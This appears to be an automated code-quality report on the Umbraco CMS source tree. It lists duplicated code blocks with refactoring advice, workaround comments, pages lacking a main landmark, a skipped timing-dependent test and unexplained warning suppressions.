Duplicated block (7 lines × 2) src/Umbraco.Infrastructure/Search/DeferredSearchReindexService.cs:320— src/Umbraco.Infrastructure/Search/DeferredSearchReindexService.cs:320-326 | src/Umbraco.PublishedCache.HybridCache/Services/DeferredCacheRebuildService.cs:224-230 — the copies span different directories, so extracting a shared function means choosing where it lives: put it somewhere both call sites can already reach — a location they all depend on today, or a new shared one if there is none — and call it from each site; until then, every change has to be made twice.
Duplicated block (7 lines × 2) src/Umbraco.Cms.Persistence.SqlServer/Services/SqlServerDistributedLockingMechanism.cs:132— src/Umbraco.Cms.Persistence.SqlServer/Services/SqlServerDistributedLockingMechanism.cs:132-138 | src/Umbraco.Cms.Persistence.Sqlite/Services/SqliteDistributedLockingMechanism.cs:139-145 — the copies span different directories, so extracting a shared function means choosing where it lives: put it somewhere both call sites can already reach — a location they all depend on today, or a new shared one if there is none — and call it from each site; until then, every change has to be made twice.
Duplicated block (7 lines × 2) src/Umbraco.Cms.Api.Delivery/OpenApi/Transformers/ApiKeyTransformer.cs:44— src/Umbraco.Cms.Api.Delivery/OpenApi/Transformers/ApiKeyTransformer.cs:44-50 | src/Umbraco.Cms.Api.Delivery/OpenApi/Transformers/MemberAuthenticationSecurityRequirementsTransformer.cs:46-52 — the copies sit in sibling files of one directory, so a shared home is within easy reach: extract the block into a single shared function the call sites can all reach — a file they already depend on, or a new one alongside them — and call it from both call sites, so a change lands once. The matched lines also transfer control out of the body holding them, which cannot survive a move into a called unit unchanged: have the extracted unit return that decision and let each site act on it.
HackComment src/Umbraco.Cms.Api.Delivery/OpenApi/Transformers/ContentTypeSchemaTransformer.cs:274— // HACK: Some types with circular references (e.g. ApiBlockGridItem) get left — a workaround marked in source: record what it is compensating for and what would allow its removal (the upstream fix, the API it is waiting on, the invariant it restores), so the next reader can judge whether it is still needed rather than rediscovering why it is there.
HackComment src/Umbraco.Infrastructure/Migrations/MigrationExpressionBase.cs:110— // HACK: We're handling all the constraints higher up the stack for SQLite. — a workaround marked in source: record what it is compensating for and what would allow its removal (the upstream fix, the API it is waiting on, the invariant it restores), so the next reader can judge whether it is still needed rather than rediscovering why it is there.
HackComment src/Umbraco.Infrastructure/Persistence/Repositories/Implement/DynamicRootRepository.cs:73— // hack because npoco do not support this — a workaround marked in source: record what it is compensating for and what would allow its removal (the upstream fix, the API it is waiting on, the invariant it restores), so the next reader can judge whether it is still needed rather than rediscovering why it is there.
HackComment src/Umbraco.Infrastructure/Persistence/Repositories/Implement/DynamicRootRepository.cs:144— // hack because npoco do not support this — a workaround marked in source: record what it is compensating for and what would allow its removal (the upstream fix, the API it is waiting on, the invariant it restores), so the next reader can judge whether it is still needed rather than rediscovering why it is there.
HackComment src/Umbraco.Infrastructure/Persistence/Repositories/Implement/RelationRepository.cs:247— // HACK: SQLite - hard to replace this without provider specific repositories/another ORM. — a workaround marked in source: record what it is compensating for and what would allow its removal (the upstream fix, the API it is waiting on, the invariant it restores), so the next reader can judge whether it is still needed rather than rediscovering why it is there.
HackComment src/Umbraco.Infrastructure/Persistence/Repositories/Implement/TagRepository.cs:245— // HACK: SQLite (or rather SQL server setup was a hack) — a workaround marked in source: record what it is compensating for and what would allow its removal (the upstream fix, the API it is waiting on, the invariant it restores), so the next reader can judge whether it is still needed rather than rediscovering why it is there.
HackComment src/Umbraco.Infrastructure/Persistence/Repositories/Implement/UserRepository.cs:315— // HACK: Avoid a deadlock - BackOfficeCookieOptions OnValidatePrincipal — a workaround marked in source: record what it is compensating for and what would allow its removal (the upstream fix, the API it is waiting on, the invariant it restores), so the next reader can judge whether it is still needed rather than rediscovering why it is there.
HackComment src/Umbraco.Infrastructure/Persistence/SqlSyntax/SqlSyntaxProviderBase.cs:1149— // HACK: probably not needed with latest changes — a workaround marked in source: record what it is compensating for and what would allow its removal (the upstream fix, the API it is waiting on, the invariant it restores), so the next reader can judge whether it is still needed rather than rediscovering why it is there.
Duplicated block (21 lines × 2) src/Umbraco.Core/Packaging/PackagesRepository.cs:648— src/Umbraco.Core/Packaging/PackagesRepository.cs:648-668 | src/Umbraco.Infrastructure/Persistence/Repositories/Implement/CreatedPackageSchemaRepository.cs:707-727 — before extracting anything, compare `src/Umbraco.Core/Packaging/PackagesRepository.cs` and `src/Umbraco.Infrastructure/Persistence/Repositories/Implement/CreatedPackageSchemaRepository.cs` as WHOLE FILES: this scan already matched 10 separate duplicated blocks between them, totalling at least 205 lines, which is the signature of one file having been copied from the other rather than of a helper waiting to be extracted. The two sit in different directories, so one cannot simply be deleted in favour of the other while both are reached separately: hoist the shared part into a location both already depend on and have each file call it, and retire whichever file turns out to have no caller of its own left. Extracting one helper per block leaves the fork in place. Read the line range as the matched WINDOW rather than a finished unit: at `src/Umbraco.Core/Packaging/PackagesRepository.cs:648` it runs out through the closing brace of the declaration holding it — the window is that declaration's tail, not a fragment that begins part-way through something, so those exact lines cannot be lifted as they stand — widen the region to the smallest complete statement or declaration that contains it, and extract that.
Duplicated block (21 lines × 2) src/Umbraco.Core/Services/Installer/InstallService.cs:73— src/Umbraco.Core/Services/Installer/InstallService.cs:73-93 | src/Umbraco.Core/Services/Installer/UpgradeService.cs:74-94 — the copies sit in sibling files of one directory, so a shared home is within easy reach: extract the block into a single shared function the call sites can all reach — a file they already depend on, or a new one alongside them — and call it from both call sites, so a change lands once. Read the line range as the matched WINDOW rather than a finished unit: at `src/Umbraco.Core/Services/Installer/InstallService.cs:73` it runs out through the closing brace of the declaration holding it — the window is that declaration's tail, not a fragment that begins part-way through something, so those exact lines cannot be lifted as they stand — widen the region to the smallest complete statement or declaration that contains it, and extract that. The matched lines also transfer control out of the body holding them, which cannot survive a move into a called unit unchanged: have the extracted unit return that decision and let each site act on it.
Duplicated block (21 lines × 2) src/Umbraco.Infrastructure/Persistence/Querying/PocoToSqlExpressionVisitor.cs:166— src/Umbraco.Infrastructure/Persistence/Querying/PocoToSqlExpressionVisitor.cs:166-186 | src/Umbraco.Infrastructure/Persistence/Querying/PocoToSqlExpressionVisitor.cs:283-303 — both copies are in the same file, so extract the block into one function there and call it from each site — the copies drift apart the first time only one of them is edited. Read the line range as the matched WINDOW rather than a finished unit: at `src/Umbraco.Infrastructure/Persistence/Querying/PocoToSqlExpressionVisitor.cs:166` it does not close everything it opens, so those exact lines cannot be lifted as they stand — widen the region to the smallest complete statement or declaration that contains it, and extract that. The matched lines also transfer control out of the body holding them, which cannot survive a move into a called unit unchanged: have the extracted unit return that decision and let each site act on it.
Duplicated block (21 lines × 2) src/Umbraco.Infrastructure/Persistence/Querying/PocoToSqlExpressionVisitor.cs:185— src/Umbraco.Infrastructure/Persistence/Querying/PocoToSqlExpressionVisitor.cs:185-205 | src/Umbraco.Infrastructure/Persistence/Querying/PocoToSqlExpressionVisitor.cs:307-327 — both copies are in the same file, so extract the block into one function there and call it from each site — the copies drift apart the first time only one of them is edited. Read the line range as the matched WINDOW rather than a finished unit: at `src/Umbraco.Infrastructure/Persistence/Querying/PocoToSqlExpressionVisitor.cs:185` it runs out through the closing brace of the declaration holding it — the window is that declaration's tail, not a fragment that begins part-way through something, so those exact lines cannot be lifted as they stand — widen the region to the smallest complete statement or declaration that contains it, and extract that.
Duplicated block (21 lines × 2) src/Umbraco.Infrastructure/Persistence/Repositories/Implement/MediaRepository.cs:519— src/Umbraco.Infrastructure/Persistence/Repositories/Implement/MediaRepository.cs:519-539 | src/Umbraco.Infrastructure/Persistence/Repositories/Implement/MemberRepository.cs:943-963 — the copies sit in sibling files of one directory, so a shared home is within easy reach: extract the block into a single shared function the call sites can all reach — a file they already depend on, or a new one alongside them — and call it from both call sites, so a change lands once. Read the line range as the matched WINDOW rather than a finished unit: at `src/Umbraco.Infrastructure/Persistence/Repositories/Implement/MediaRepository.cs:519` it does not close everything it opens, so those exact lines cannot be lifted as they stand — widen the region to the smallest complete statement or declaration that contains it, and extract that. Note first that the copies are not typed on the same thing: the declarations holding them bind `entity` to `IMedia` in one and `IMember` in another, and the duplicated lines use it. The extracted unit therefore needs a parameter type that fits BOTH — their common supertype where they have one, or a new abstraction over them where they do not — and settling that is the step that comes BEFORE the extraction above. Where the two types are deliberately unrelated, the duplication is the price of that separation and the honest resolution is to record the decision rather than to extract. ★ These copies have DRIFTED, and that is worth reading before extracting anything: just after the matched lines, `src/Umbraco.Infrastructure/Persistence/Repositories/Implement/MemberRepository.cs:964` calls `Concat`, `ValidatePathWithException`, `Update` and `src/Umbraco.Infrastructure/Persistence/Repositories/Implement/MediaRepository.cs:540` does not — after which the two agree again for 2 more lines. One of those two behaviours is the intended one and the other is what a copy-paste left behind, so decide which BEFORE unifying them: extracting the shared part will silently settle it, and if the copy that skips the call is the wrong one, that bug is already live.
Duplicated block (21 lines × 2) src/Umbraco.Infrastructure/Services/Implement/EntitySearchService.cs:39— src/Umbraco.Infrastructure/Services/Implement/EntitySearchService.cs:39-59 | src/Umbraco.Infrastructure/Services/Implement/EntitySearchService.cs:68-88 — both copies are in the same file, so extract the block into one function there and call it from each site — the copies drift apart the first time only one of them is edited. The matched lines also transfer control out of the body holding them, which cannot survive a move into a called unit unchanged: have the extracted unit return that decision and let each site act on it. Note first that the copies are not typed on the same thing: the declarations holding them bind `query` to `string` in one and `string?` in another, and the duplicated lines use it. The extracted unit therefore needs a parameter type that fits BOTH — their common supertype where they have one, or a new abstraction over them where they do not — and settling that is the step that comes BEFORE the extraction above. Where the two types are deliberately unrelated, the duplication is the price of that separation and the honest resolution is to record the decision rather than to extract.
Duplicated block (21 lines × 2) src/Umbraco.Cms.Api.Common/Security/Paths.cs:18— src/Umbraco.Cms.Api.Common/Security/Paths.cs:18-38 | src/Umbraco.Cms.Api.Common/Security/Paths.cs:51-71 — both copies are in the same file, so extract the block into one function there and call it from each site — the copies drift apart the first time only one of them is edited. ★ These copies have DRIFTED, and that is worth reading before extracting anything: just after the matched lines, `src/Umbraco.Cms.Api.Common/Security/Paths.cs:76` calls `EndpointPath` and `src/Umbraco.Cms.Api.Common/Security/Paths.cs:40` does not — after which the two agree again for 2 more lines. One of those two behaviours is the intended one and the other is what a copy-paste left behind, so decide which BEFORE unifying them: extracting the shared part will silently settle it, and if the copy that skips the call is the wrong one, that bug is already live.
Duplicated block (21 lines × 2) src/Umbraco.PublishedCache.HybridCache/Persistence/DatabaseCacheRepository.cs:88— src/Umbraco.PublishedCache.HybridCache/Persistence/DatabaseCacheRepository.cs:88-108 | src/Umbraco.PublishedCache.HybridCache/Persistence/DatabaseCacheRepository.cs:232-252 — both copies are in the same file, so extract the block into one function there and call it from each site — the copies drift apart the first time only one of them is edited. The matched lines also transfer control out of the body holding them, which cannot survive a move into a called unit unchanged: have the extracted unit return that decision and let each site act on it.
Duplicated block (17 lines × 2) src/Umbraco.Core/Routing/SiteDomainMapper.cs:100— src/Umbraco.Core/Routing/SiteDomainMapper.cs:100-116 | src/Umbraco.Core/Routing/SiteDomainMapper.cs:125-141 — both copies are in the same file, so extract the block into one function there and call it from each site — the copies drift apart the first time only one of them is edited. Note first that the copies are not typed on the same thing: the declarations holding them bind `domains` to `IEnumerable<string>` in one and `params string[]` in another, and the duplicated lines use it. The extracted unit therefore needs a parameter type that fits BOTH — their common supertype where they have one, or a new abstraction over them where they do not — and settling that is the step that comes BEFORE the extraction above. Where the two types are deliberately unrelated, the duplication is the price of that separation and the honest resolution is to record the decision rather than to extract.
Duplicated block (17 lines × 2) src/Umbraco.Core/Services/UserService.cs:1501— src/Umbraco.Core/Services/UserService.cs:1501-1517 | src/Umbraco.Core/Services/UserService.cs:1550-1566 — both copies are in the same file, so extract the block into one function there and call it from each site — the copies drift apart the first time only one of them is edited. Read the line range as the matched WINDOW rather than a finished unit: at `src/Umbraco.Core/Services/UserService.cs:1501` it does not close everything it opens, so those exact lines cannot be lifted as they stand — widen the region to the smallest complete statement or declaration that contains it, and extract that. The matched lines also transfer control out of the body holding them, which cannot survive a move into a called unit unchanged: have the extracted unit return that decision and let each site act on it.
Duplicated block (17 lines × 2) src/Umbraco.Web.Website/Controllers/BasicAuthLoginController.cs:65— src/Umbraco.Web.Website/Controllers/BasicAuthLoginController.cs:65-81 | src/Umbraco.Web.Website/Controllers/BasicAuthLoginController.cs:160-176 — both copies are in the same file, so extract the block into one function there and call it from each site — the copies drift apart the first time only one of them is edited. Read the line range as the matched WINDOW rather than a finished unit: at `src/Umbraco.Web.Website/Controllers/BasicAuthLoginController.cs:65` it does not close everything it opens, so those exact lines cannot be lifted as they stand — widen the region to the smallest complete statement or declaration that contains it, and extract that. The matched lines also transfer control out of the body holding them, which cannot survive a move into a called unit unchanged: have the extracted unit return that decision and let each site act on it. Note that the copies do not run to the end of the range shown: their LAST lines are different code, not the same code under different names — the matched region ends inside that line. Extract the lines above it, and read the last line of each site separately.
Duplicated block (17 lines × 2) src/Umbraco.Cms.Api.Management/Controllers/User/ByKeyUserController.cs:50— src/Umbraco.Cms.Api.Management/Controllers/User/ByKeyUserController.cs:50-66 | src/Umbraco.Cms.Api.Management/Controllers/User/CalculatedStartNodesUserController.cs:50-66 — the copies sit in sibling files of one directory, so a shared home is within easy reach: extract the block into a single shared function the call sites can all reach — a file they already depend on, or a new one alongside them — and call it from both call sites, so a change lands once. Read the line range as the matched WINDOW rather than a finished unit: at `src/Umbraco.Cms.Api.Management/Controllers/User/ByKeyUserController.cs:50` it does not close everything it opens, so those exact lines cannot be lifted as they stand — widen the region to the smallest complete statement or declaration that contains it, and extract that. The matched lines also transfer control out of the body holding them, which cannot survive a move into a called unit unchanged: have the extracted unit return that decision and let each site act on it.
Duplicated block (17 lines × 2) src/Umbraco.PublishedCache.HybridCache/Persistence/DatabaseCacheRepository.cs:121— src/Umbraco.PublishedCache.HybridCache/Persistence/DatabaseCacheRepository.cs:121-137 | src/Umbraco.PublishedCache.HybridCache/Persistence/DatabaseCacheRepository.cs:266-282 — both copies are in the same file, so extract the block into one function there and call it from each site — the copies drift apart the first time only one of them is edited. Read the line range as the matched WINDOW rather than a finished unit: at `src/Umbraco.PublishedCache.HybridCache/Persistence/DatabaseCacheRepository.cs:121` it does not close everything it opens, so those exact lines cannot be lifted as they stand — widen the region to the smallest complete statement or declaration that contains it, and extract that.
Duplicated block (17 lines × 2) src/Umbraco.Core/Webhooks/Events/Content/ContentCopiedWebhookEvent.cs:32— src/Umbraco.Core/Webhooks/Events/Content/ContentCopiedWebhookEvent.cs:32-48 | src/Umbraco.Core/Webhooks/Events/Element/ElementCopiedWebhookEvent.cs:32-48 — the copies span different directories, so extracting a shared function means choosing where it lives: put it somewhere both call sites can already reach — a location they all depend on today, or a new shared one if there is none — and call it from each site; until then, every change has to be made twice.
Duplicated block (17 lines × 2) src/Umbraco.Core/Webhooks/ExtendedEvents/Media/ExtendedMediaSavedWebhookEvent.cs:44— src/Umbraco.Core/Webhooks/ExtendedEvents/Media/ExtendedMediaSavedWebhookEvent.cs:44-60 | src/Umbraco.Core/Webhooks/LegacyEvents/Media/LegacyMediaSavedWebhookEvent.cs:43-59 — before extracting anything, compare `src/Umbraco.Core/Webhooks/ExtendedEvents/Media/ExtendedMediaSavedWebhookEvent.cs` and `src/Umbraco.Core/Webhooks/LegacyEvents/Media/LegacyMediaSavedWebhookEvent.cs` as WHOLE FILES: 87% of the shorter file's lines also appear in the other, so this reads as one file having been copied from the other rather than as a helper waiting to be extracted. The 1 duplicated block(s) this scan matched between them are fragments of that copy, not the extent of it — treat the file pair as the unit. The two sit in different directories, so one cannot simply be deleted in favour of the other while both are reached separately: hoist the shared part into a location both already depend on and have each file call it, and retire whichever file turns out to have no caller of its own left. Extracting one helper per block leaves the fork in place.
Duplicated block (17 lines × 2) src/Umbraco.Core/Composing/OrderedCollectionBuilderBase.cs:75— src/Umbraco.Core/Composing/OrderedCollectionBuilderBase.cs:75-91 | src/Umbraco.Core/Composing/SetCollectionBuilderBase.cs:81-97 — before extracting anything, compare `src/Umbraco.Core/Composing/OrderedCollectionBuilderBase.cs` and `src/Umbraco.Core/Composing/SetCollectionBuilderBase.cs` as WHOLE FILES: this scan already matched 7 separate duplicated blocks between them, totalling at least 120 lines, which is the signature of one file having been copied from the other rather than of a helper waiting to be extracted. If that is what happened, the fix is to keep one copy and have the other call it (or delete it), which resolves this row and its siblings together — extracting one helper per block leaves the fork in place.
Duplicated block (6 lines × 2) src/Umbraco.Infrastructure/ModelsBuilder/Options/ConfigurePropertySettingsOptions.cs:24— src/Umbraco.Infrastructure/ModelsBuilder/Options/ConfigurePropertySettingsOptions.cs:24-29 | src/Umbraco.Infrastructure/ModelsBuilder/Options/ConfigurePropertySettingsOptions.cs:48-53 — both copies are in the same file, so extract the block into one function there and call it from each site — the copies drift apart the first time only one of them is edited. Note first that the copies are not typed on the same thing: the declarations holding them bind `options` to `ContentPropertySettings` in one and `MediaPropertySettings` in another, and the duplicated lines use it. The extracted unit therefore needs a parameter type that fits BOTH — their common supertype where they have one, or a new abstraction over them where they do not — and settling that is the step that comes BEFORE the extraction above. Where the two types are deliberately unrelated, the duplication is the price of that separation and the honest resolution is to record the decision rather than to extract.
Duplicated block (6 lines × 2) src/Umbraco.Infrastructure/Persistence/NPocoSqlExtensions.cs:517— src/Umbraco.Infrastructure/Persistence/NPocoSqlExtensions.cs:517-522 | src/Umbraco.Infrastructure/Persistence/NPocoSqlExtensions.cs:554-559 — both copies are in the same file, so extract the block into one function there and call it from each site — the copies drift apart the first time only one of them is edited. Read the line range as the matched WINDOW rather than a finished unit: at `src/Umbraco.Infrastructure/Persistence/NPocoSqlExtensions.cs:517` it does not close everything it opens, so those exact lines cannot be lifted as they stand — widen the region to the smallest complete statement or declaration that contains it, and extract that. Note that the copies do not run to the end of the range shown: their LAST lines are different code, not the same code under different names — the matched region ends inside that line. Extract the lines above it, and read the last line of each site separately.
Duplicated block (6 lines × 2) src/Umbraco.Infrastructure/Persistence/Repositories/Implement/MemberTypeRepository.cs:115— src/Umbraco.Infrastructure/Persistence/Repositories/Implement/MemberTypeRepository.cs:115-121 | src/Umbraco.Infrastructure/Persistence/Repositories/Implement/MemberTypeRepository.cs:132-137 — both copies are in the same file, so extract the block into one function there and call it from each site — the copies drift apart the first time only one of them is edited. Read the line range as the matched WINDOW rather than a finished unit: at `src/Umbraco.Infrastructure/Persistence/Repositories/Implement/MemberTypeRepository.cs:115` it begins part-way through the construct above it, so those exact lines cannot be lifted as they stand — widen the region to the smallest complete statement or declaration that contains it, and extract that.
Duplicated block (6 lines × 2) src/Umbraco.Cms.Api.Management/Factories/UserPresentationFactory.cs:379— src/Umbraco.Cms.Api.Management/Factories/UserPresentationFactory.cs:379-384 | src/Umbraco.Cms.Api.Management/Factories/UserPresentationFactory.cs:493-498 — both copies are in the same file, so extract the block into one function there and call it from each site — the copies drift apart the first time only one of them is edited.
Duplicated block (6 lines × 2) src/Umbraco.PublishedCache.HybridCache/Persistence/DatabaseCacheRepository.cs:700— src/Umbraco.PublishedCache.HybridCache/Persistence/DatabaseCacheRepository.cs:700-705 | src/Umbraco.PublishedCache.HybridCache/Persistence/DatabaseCacheRepository.cs:1518-1523 — both copies are in the same file, so extract the block into one function there and call it from each site — the copies drift apart the first time only one of them is edited. Read the line range as the matched WINDOW rather than a finished unit: at `src/Umbraco.PublishedCache.HybridCache/Persistence/DatabaseCacheRepository.cs:700` it does not close everything it opens, so those exact lines cannot be lifted as they stand — widen the region to the smallest complete statement or declaration that contains it, and extract that. Note that the copies do not run to the end of the range shown: their LAST lines are different code, not the same code under different names — the matched region ends inside that line. Extract the lines above it, and read the last line of each site separately.
Duplicated block (6 lines × 2) src/Umbraco.PublishedCache.HybridCache/Persistence/DatabaseCacheRepository.cs:1814— src/Umbraco.PublishedCache.HybridCache/Persistence/DatabaseCacheRepository.cs:1814-1819 | src/Umbraco.PublishedCache.HybridCache/Persistence/DatabaseCacheRepository.cs:1986-1991 — both copies are in the same file, so extract the block into one function there and call it from each site — the copies drift apart the first time only one of them is edited. Read the line range as the matched WINDOW rather than a finished unit: at `src/Umbraco.PublishedCache.HybridCache/Persistence/DatabaseCacheRepository.cs:1814` it runs out through the closing brace of the declaration holding it — the window is that declaration's tail, not a fragment that begins part-way through something, so those exact lines cannot be lifted as they stand — widen the region to the smallest complete statement or declaration that contains it, and extract that.
Duplicated block (6 lines × 2) src/Umbraco.Cms.Api.Management/Controllers/DataType/Tree/DataTypeTreeControllerBase.cs:55— src/Umbraco.Cms.Api.Management/Controllers/DataType/Tree/DataTypeTreeControllerBase.cs:55-60 | src/Umbraco.Cms.Api.Management/Controllers/DocumentBlueprint/Tree/DocumentBlueprintTreeControllerBase.cs:61-66 — the copies span different directories, so extracting a shared function means choosing where it lives: put it somewhere both call sites can already reach — a location they all depend on today, or a new shared one if there is none — and call it from each site; until then, every change has to be made twice. The matched lines also transfer control out of the body holding them, which cannot survive a move into a called unit unchanged: have the extracted unit return that decision and let each site act on it.
Duplicated block (6 lines × 2) src/Umbraco.Cms.Api.Management/Controllers/Document/AvailableSegmentsController.cs:94— src/Umbraco.Cms.Api.Management/Controllers/Document/AvailableSegmentsController.cs:94-103 | src/Umbraco.Cms.Api.Management/Controllers/Segment/SegmentControllerBase.cs:16-21 — the copies span different directories, so extracting a shared function means choosing where it lives: put it somewhere both call sites can already reach — a location they all depend on today, or a new shared one if there is none — and call it from each site; until then, every change has to be made twice.
Duplicated block (5 lines × 2) src/Umbraco.Core/Services/RelationService.cs:288— src/Umbraco.Core/Services/RelationService.cs:288-293 | src/Umbraco.Core/Services/RelationService.cs:788-792 — both copies are in the same file, so extract the block into one function there and call it from each site — the copies drift apart the first time only one of them is edited. Read the line range as the matched WINDOW rather than a finished unit: at `src/Umbraco.Core/Services/RelationService.cs:288` it does not close everything it opens, so those exact lines cannot be lifted as they stand — widen the region to the smallest complete statement or declaration that contains it, and extract that.
Duplicated block (5 lines × 2) src/Umbraco.Infrastructure/Persistence/Repositories/Implement/ContentRepositoryBase.cs:1230— src/Umbraco.Infrastructure/Persistence/Repositories/Implement/ContentRepositoryBase.cs:1230-1236 | src/Umbraco.Infrastructure/Persistence/Repositories/Implement/ContentRepositoryBase.cs:1260-1264 — both copies are in the same file, so extract the block into one function there and call it from each site — the copies drift apart the first time only one of them is edited. Read the line range as the matched WINDOW rather than a finished unit: at `src/Umbraco.Infrastructure/Persistence/Repositories/Implement/ContentRepositoryBase.cs:1230` it begins part-way through the construct above it, so those exact lines cannot be lifted as they stand — widen the region to the smallest complete statement or declaration that contains it, and extract that.
Duplicated block (5 lines × 2) src/Umbraco.Infrastructure/Persistence/Repositories/Implement/ContentTypeRepository.cs:150— src/Umbraco.Infrastructure/Persistence/Repositories/Implement/ContentTypeRepository.cs:150-155 | src/Umbraco.Infrastructure/Persistence/Repositories/Implement/MediaTypeRepository.cs:82-86 — before extracting anything, compare `src/Umbraco.Infrastructure/Persistence/Repositories/Implement/ContentTypeRepository.cs` and `src/Umbraco.Infrastructure/Persistence/Repositories/Implement/MediaTypeRepository.cs` as WHOLE FILES: this scan already matched 4 separate duplicated blocks between them, totalling at least 32 lines, which is the signature of one file having been copied from the other rather than of a helper waiting to be extracted. If that is what happened, the fix is to keep one copy and have the other call it (or delete it), which resolves this row and its siblings together — extracting one helper per block leaves the fork in place. Note that the copies do not run to the end of the range shown: their LAST lines are different code, not the same code under different names — the matched region ends inside that line. Extract the lines above it, and read the last line of each site separately. Note first that the copies are not typed on the same thing: the declarations holding them bind `query` to `IQuery<IContentType>` in one and `IQuery<IMediaType>` in another, and the duplicated lines use it. The extracted unit therefore needs a parameter type that fits BOTH — their common supertype where they have one, or a new abstraction over them where they do not — and settling that is the step that comes BEFORE the extraction above. Where the two types are deliberately unrelated, the duplication is the price of that separation and the honest resolution is to record the decision rather than to extract.
Duplicated block (5 lines × 2) src/Umbraco.Infrastructure/Persistence/Repositories/Implement/PermissionRepository.cs:71— src/Umbraco.Infrastructure/Persistence/Repositories/Implement/PermissionRepository.cs:71-75 | src/Umbraco.Infrastructure/Persistence/Repositories/Implement/PermissionRepository.cs:95-99 — both copies are in the same file, so extract the block into one function there and call it from each site — the copies drift apart the first time only one of them is edited.
Duplicated block (5 lines × 2) src/Umbraco.Core/Webhooks/LegacyEvents/Content/LegacyContentRolledBackWebhookEvent.cs:57— src/Umbraco.Core/Webhooks/LegacyEvents/Content/LegacyContentRolledBackWebhookEvent.cs:57-61 | src/Umbraco.Core/Webhooks/LegacyEvents/Content/LegacyContentSavedWebhookEvent.cs:57-61 — the copies sit in sibling files of one directory, so a shared home is within easy reach: extract the block into a single shared function the call sites can all reach — a file they already depend on, or a new one alongside them — and call it from both call sites, so a change lands once. The matched lines also transfer control out of the body holding them, which cannot survive a move into a called unit unchanged: have the extracted unit return that decision and let each site act on it.
Duplicated block (5 lines × 2) src/Umbraco.Cms.Api.Management/Extensions/IdentityBuilderExtensions.cs:36— src/Umbraco.Cms.Api.Management/Extensions/IdentityBuilderExtensions.cs:36-40 | src/Umbraco.Web.Common/Extensions/IdentityBuilderExtensions.cs:57-61 — the copies span different directories, so extracting a shared function means choosing where it lives: put it somewhere both call sites can already reach — a location they all depend on today, or a new shared one if there is none — and call it from each site; until then, every change has to be made twice. The matched lines also transfer control out of the body holding them, which cannot survive a move into a called unit unchanged: have the extracted unit return that decision and let each site act on it.
Duplicated block (5 lines × 2) src/Umbraco.Cms.Imaging.ImageSharp/Media/ImageSharpDimensionExtractor.cs:25— src/Umbraco.Cms.Imaging.ImageSharp/Media/ImageSharpDimensionExtractor.cs:25-29 | src/Umbraco.Cms.Imaging.ImageSharp2/Media/ImageSharpDimensionExtractor.cs:24-28 — the copies span different directories, so extracting a shared function means choosing where it lives: put it somewhere both call sites can already reach — a location they all depend on today, or a new shared one if there is none — and call it from each site; until then, every change has to be made twice.
Duplicated block (5 lines × 2) src/Umbraco.PublishedCache.HybridCache/Services/DocumentCacheService.cs:715— src/Umbraco.PublishedCache.HybridCache/Services/DocumentCacheService.cs:715-719 | src/Umbraco.PublishedCache.HybridCache/Services/MediaCacheService.cs:557-561 — the copies sit in sibling files of one directory, so a shared home is within easy reach: extract the block into a single shared function the call sites can all reach — a file they already depend on, or a new one alongside them — and call it from both call sites, so a change lands once.
AC3 · Page structure· Page without a main landmark · ×7
Page without a main landmark src/Umbraco.Cms.StaticAssets/umbraco/UmbracoBackOffice/Index.cshtml— No <main> (or role="main") means no "skip to content" target and a weaker landmark map. Wrap the primary content in <main>.
Page without a main landmark src/Umbraco.Cms.StaticAssets/umbraco/UmbracoLogin/Index.cshtml— No <main> (or role="main") means no "skip to content" target and a weaker landmark map. Wrap the primary content in <main>.
Page without a main landmark src/Umbraco.Cms.StaticAssets/umbraco/UmbracoWebsite/Maintenance.cshtml:8— No <main> (or role="main") means no "skip to content" target and a weaker landmark map. Wrap the primary content in <main>.
Page without a main landmark src/Umbraco.Cms.StaticAssets/umbraco/UmbracoWebsite/NoNodes.cshtml:11— No <main> (or role="main") means no "skip to content" target and a weaker landmark map. Wrap the primary content in <main>.
Page without a main landmark src/Umbraco.Cms.StaticAssets/umbraco/UmbracoWebsite/NotFound.cshtml:8— No <main> (or role="main") means no "skip to content" target and a weaker landmark map. Wrap the primary content in <main>.
Page without a main landmark src/Umbraco.Cms.StaticAssets/umbraco/UmbracoWebsite/Upgrading.cshtml:8— No <main> (or role="main") means no "skip to content" target and a weaker landmark map. Wrap the primary content in <main>.
Page without a main landmark src/Umbraco.Cms.StaticAssets/wwwroot/umbraco/views/errors/BootFailed.html:2— No <main> (or role="main") means no "skip to content" target and a weaker landmark map. Wrap the primary content in <main>.
Skipped test: ConcurrentMap tests/Umbraco.Tests.UnitTests/Umbraco.Infrastructure/Mapping/MappingTests.cs:118— Skipped — [Explicit] It synchronises against a thread it started with `Thread.Sleep(1000)` — a fixed wait rather than a signal, which is the usual cause of exactly this kind of randomness.
BarePragmaDisable src/Umbraco.Core/ServerEvents/IServerEventHub.cs:22— #pragma warning disable SA1300 — the disable is closed again below, so its scope is not the problem; what it records is no reason: there is nothing on the directive line, and no ordinary comment attached to it either side. A suppression is a decision somebody made, and without the reason the next reader cannot tell a considered exception from an unexamined one, so it is never revisited and it outlives the code it was written for. Put the reason on the directive line — what makes this site legitimately different — or fix what the rule is pointing at and delete the pair. A rationale in the member's documentation comment does not clear this row and is not meant to: it explains the member to its callers, and the next person to touch the suppression is not reading it for that.
BarePragmaDisable src/Umbraco.Infrastructure/ModelsBuilder/Building/Builder.cs:39— #pragma warning disable CS8618 — the disable is closed again below, so its scope is not the problem; what it records is no reason: there is nothing on the directive line, and no ordinary comment attached to it either side. A suppression is a decision somebody made, and without the reason the next reader cannot tell a considered exception from an unexamined one, so it is never revisited and it outlives the code it was written for. Put the reason on the directive line — what makes this site legitimately different — or fix what the rule is pointing at and delete the pair. A rationale in the member's documentation comment does not clear this row and is not meant to: it explains the member to its callers, and the next person to touch the suppression is not reading it for that.
BarePragmaDisable src/Umbraco.Web.Common/UmbracoHelper.cs:50— #pragma warning disable CS8618 — the disable is closed again below, so its scope is not the problem; what it records is no reason: there is nothing on the directive line, and no ordinary comment attached to it either side. A suppression is a decision somebody made, and without the reason the next reader cannot tell a considered exception from an unexamined one, so it is never revisited and it outlives the code it was written for. Put the reason on the directive line — what makes this site legitimately different — or fix what the rule is pointing at and delete the pair. A rationale in the member's documentation comment does not clear this row and is not meant to: it explains the member to its callers, and the next person to touch the suppression is not reading it for that.
